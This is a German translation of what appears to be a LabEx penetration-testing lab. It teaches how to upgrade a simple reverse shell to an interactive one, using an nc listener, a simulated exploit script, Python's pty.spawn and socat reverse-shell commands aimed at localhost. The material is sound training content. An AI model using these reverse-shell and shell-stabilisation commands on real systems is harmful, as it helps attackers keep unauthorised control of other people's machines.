Simple Shell in Nmap zu einer interaktiven Shell upgraden

Beginner

💡 Dieser Artikel wurde von AI-Assistenten übersetzt. Um die englische Version anzuzeigen, können Sie hier klicken

Einführung

Im Bereich des Penetration Testing (Eindringlichkeitstests) beinhaltet der Zugang zu einem Zielsystem oft das Erlangen einer Shell, die eine einfache Shell oder eine interaktive Shell sein kann. Eine einfache Shell hat eingeschränkte Funktionen und fehlende interaktive Möglichkeiten, während eine interaktive Shell eine robusterere und benutzerfreundlichere Umgebung bietet. Dieses Lab (LabEx) zielt darauf ab, die Unterschiede zwischen einfachen und interaktiven Shells zu untersuchen und Sie durch den Prozess der Aktualisierung einer einfachen Shell zu einer interaktiven Shell zu führen.


Skills Graph

Grundlagen einer einfachen Shell verstehen

In diesem Schritt werden wir das Konzept einer einfachen Shell und ihre Einschränkungen untersuchen. Eine einfache Shell wird typischerweise über Remote-Befehlsausführungs-Schwachstellen oder andere Exploitationstechniken (Exploitationsmethoden) erlangt. Obwohl sie es Ihnen ermöglicht, Befehle auf dem Zielsystem auszuführen, fehlen ihr mehrere essentielle Funktionen, die die Phase nach der Exploitation behindern können.

  1. Öffnen Sie zunächst ein Terminalfenster und navigieren Sie in das Verzeichnis /home/labex/project:

    cd /home/labex/project
  2. Um den Prozess des Erlangens einer einfachen Shell auf dem Zielsystem zu simulieren, müssen Sie einen Listener (Empfänger) auf Port 5911 mit dem Befehl nc einrichten:

    nc -lnvp 5911

    Erwartete Ausgabe:

    labex:project/ $ nc -lnvp 5911
    listening on [any] 5911...

    Dieses Terminalfenster fungiert als Listener für die Verbindung zur einfachen Shell.

  3. Öffnen Sie ein weiteres Terminalfenster und navigieren Sie in das Verzeichnis /home/labex/project. In Ihrem Home-Verzeichnis sollten Sie eine Datei namens exploit.sh sehen. Diese Datei simuliert einen Remote-Befehlsausführungs-Exploit (Exploitationsskript), der verwendet werden kann, um eine einfache Shell auf dem Zielsystem zu erhalten.

    cd /home/labex/project

    Führen Sie das Skript exploit.sh aus, um eine Verbindung zum Listener auf Port 5911 herzustellen und eine einfache Shell auf dem Zielsystem zu erhalten:

    ./exploit.sh

    Erwartete Ausgabe:

    labex:project/ $./exploit.sh
    Simulating attack...
    Shell has been rebound, please check the terminal which you listen to the port 5911

    Dieses Skript stellt eine Verbindung zum Listener auf Port 5911 her und gibt Ihnen eine einfache Shell auf dem Zielsystem.

  4. Gehen Sie zurück zum Terminalfenster, in dem Sie den Listener eingerichtet haben. Hier sollten Sie sehen, dass eine Verbindung mit dem Zielsystem hergestellt wurde.

    Beispielausgabe:

    labex:project/ $ nc -lnvp 5911
    listening on [any] 5911...
    connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 38696
    |

    Sie können überprüfen, ob Sie eine einfache Shell erhalten haben, indem Sie Befehle wie whoami und lsb_release -a ausführen. Sie werden jedoch feststellen, dass die einfache Shell bestimmte Funktionen wie ordnungsgemäße Befehlseingabeaufforderungen, Tab-Vervollständigung und die Möglichkeit, interaktive Befehle wie su oder ssh zu verwenden, fehlt.

Upgrade zu einer interaktiven Shell mit Python

Eine Möglichkeit, eine einfache Shell zu einer interaktiven Shell zu aktualisieren, besteht darin, das pty-Modul von Python zu verwenden, das es Ihnen ermöglicht, ein Pseudoterminal (pts) zu erstellen.

  1. Überprüfen Sie zunächst, ob Python auf dem Zielsystem installiert ist, indem Sie die folgenden Befehle ausführen:

    which python
  2. Wenn Python verfügbar ist, können Sie ein Pseudoterminal mit dem folgenden Befehl erstellen:

    python -c 'import pty; pty.spawn("/bin/bash");'

    Dieser Befehl startet eine neue interaktive Shell mit Pseudoterminal-Unterstützung, sodass Sie Befehle wie su und ssh problemlos ausführen können.

    Beispielausgabe:

    labex:project/ $ python -c 'import pty; pty.spawn("/bin/bash");'
    labex@660d6d4be229593d40db954d:~/project$
  3. Sie können überprüfen, ob die neue Shell ein Pseudoterminal ist, indem Sie den Befehl tty ausführen und die Ausgabe in eine Datei umleiten:

    tty > /home/labex/project/shell.txt

    Überprüfen Sie den Inhalt der Datei shell.txt, um festzustellen, ob die Shell ein Pseudoterminal (pts) ist.

    cat /home/labex/project/shell.txt

    Beispielausgabe:

    labex@660d6d4be229593d40db954d:~/project$ /home/labex/project/shell.txt
    /dev/pts/5

Allerdings, obwohl das Python-Pseudoterminal einige Einschränkungen der einfachen Shell behebt, fehlen ihm immer noch bestimmte Funktionen wie Tab-Vervollständigung, Verlaufsnavigation und die ordnungsgemäße Unterstützung für Texteditoren wie vim oder vi.

Hinweis: Sie können sich aus der Pseudoterminal-Shell abmelden, indem Sie exit eingeben oder Strg+D drücken.

Upgrade zu einer voll interaktiven Shell mit Socat

Für eine umfassendere Lösung können wir das socat-Tool verwenden, um eine voll interaktive Shell zu erhalten, die alle Funktionen unterstützt, einschließlich Tab-Vervollständigung, Verlaufsnavigation und Kompatibilität mit Texteditoren.

Zunächst überprüfen Sie, ob socat auf dem Zielsystem installiert ist, indem Sie den folgenden Befehl ausführen:

which socat

Wenn socat verfügbar ist, folgen Sie diesen Schritten:

  1. Öffnen Sie ein neues Terminalfenster und starten Sie einen Listener auf Port 5912 mit dem folgenden socat-Befehl:

    socat file:$(tty),raw,echo=0 tcp-listen:5912

    Warten Sie, bis die Verbindung hergestellt ist.

  2. Führen Sie in der einfachen Shell den folgenden Befehl aus, um eine Verbindung zum Listener herzustellen und die Shell zu einer voll interaktiven Shell zu aktualisieren:

    socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:127.0.0.1:5912
  3. Gehen Sie zurück zum Terminalfenster, in dem Sie den Listener eingerichtet haben. Hier sollten Sie sehen, dass eine Verbindung mit dem Zielsystem hergestellt wurde. Sie sollten jetzt eine voll interaktive Shell haben, die alle Funktionen bietet, die Sie von einer normalen Terminal-Sitzung erwarten würden.

    Beispielausgabe:

    labex:project/ $ socat file:$(tty),raw,echo=0 tcp-listen:5912
    labex@660d5d5ee229593d40db9301:~$

Testen Sie die neue interaktive Shell, indem Sie Befehle wie cat, ssh, vim verwenden und mit den Pfeiltasten nach oben und unten durch den Befehlsverlauf navigieren.

Zusammenfassung

In diesem Lab (LabEx) haben wir das Konzept von einfachen und interaktiven Shells im Kontext des Penetration Testing (Eindringlichkeitstests) untersucht. Wir haben die Einschränkungen von einfachen Shells kennengelernt und die Wichtigkeit des Upgrades zu einer interaktiven Shell für effiziente Aktivitäten nach der Exploitation verstanden. Wir haben zwei Methoden zum Upgrade einer einfachen Shell behandelt: die Verwendung des pty-Moduls von Python zur Erstellung eines Pseudoterminals und die Verwendung des socat-Tools, um eine voll interaktive Shell mit allen erforderlichen Funktionen zu erhalten. Durch das Üben dieser Techniken haben Sie wertvolle Fähigkeiten erworben, die Ihnen bei zukünftigen Penetration-Testing-Aufträgen helfen werden. Sie können damit die Herausforderungen, die einfache Shells mit sich bringen, überwinden und Ihre Aktivitäten nach der Exploitation optimieren.